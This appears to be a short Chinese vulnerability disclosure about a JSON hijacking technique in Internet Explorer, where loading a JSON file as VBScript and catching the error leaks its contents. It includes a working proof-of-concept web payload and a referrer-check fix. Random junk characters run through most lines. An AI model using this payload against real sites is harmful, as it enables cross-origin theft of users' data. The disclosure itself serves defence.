简要描述:2 e4 l/ _( v' P1 S1 W1 h! a6 N r7 j8 G" ~
( e5 C3 f% P! i! I: I
由于某些资源容器对数据处理不当导致json劫持漏洞.
) Z5 S! r3 D* V0 S+ O8 u详细说明:/ ~" @$ J& J7 t5 H; A
由于ie支持vbscript,所以script元素可以指定成vbscript语言:- v5 @4 Q8 s' W6 d+ K2 p; J
<script language=vbscript></script>. ]- ^2 N D q
9 B7 o/ P( e M9 Z当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
, V6 T5 L/ d1 O; }. Y/ d漏洞证明:# C7 M9 R& L' x
<script>2 M" b3 q6 m0 H2 p. U. y& y
window.onerror=function(_){7 u' T$ j i' ~
alert(_)" V4 _4 `9 A6 }9 f. P8 ?
}
. G( C! y( D, s! e8 |( L+ @! L</script>1 _6 A- G8 W( s' S
<script language=vbscript src=1.json></script>
: b2 L% B& V; e8 S- x* S + u( n0 ?9 j( w. K% x7 X
! z5 a. U+ b0 A: W& J# X/ U: e7 _1.json:
+ u, X& M1 E1 P$ g) M[{"name":"sogili","age":19}]$ W9 i& z& L4 L9 y
修复方案:
. x4 d+ x) S2 ~& s9 s w1 ?网站业务对于这个问题可以通过验证referrer是否为同源来防御 |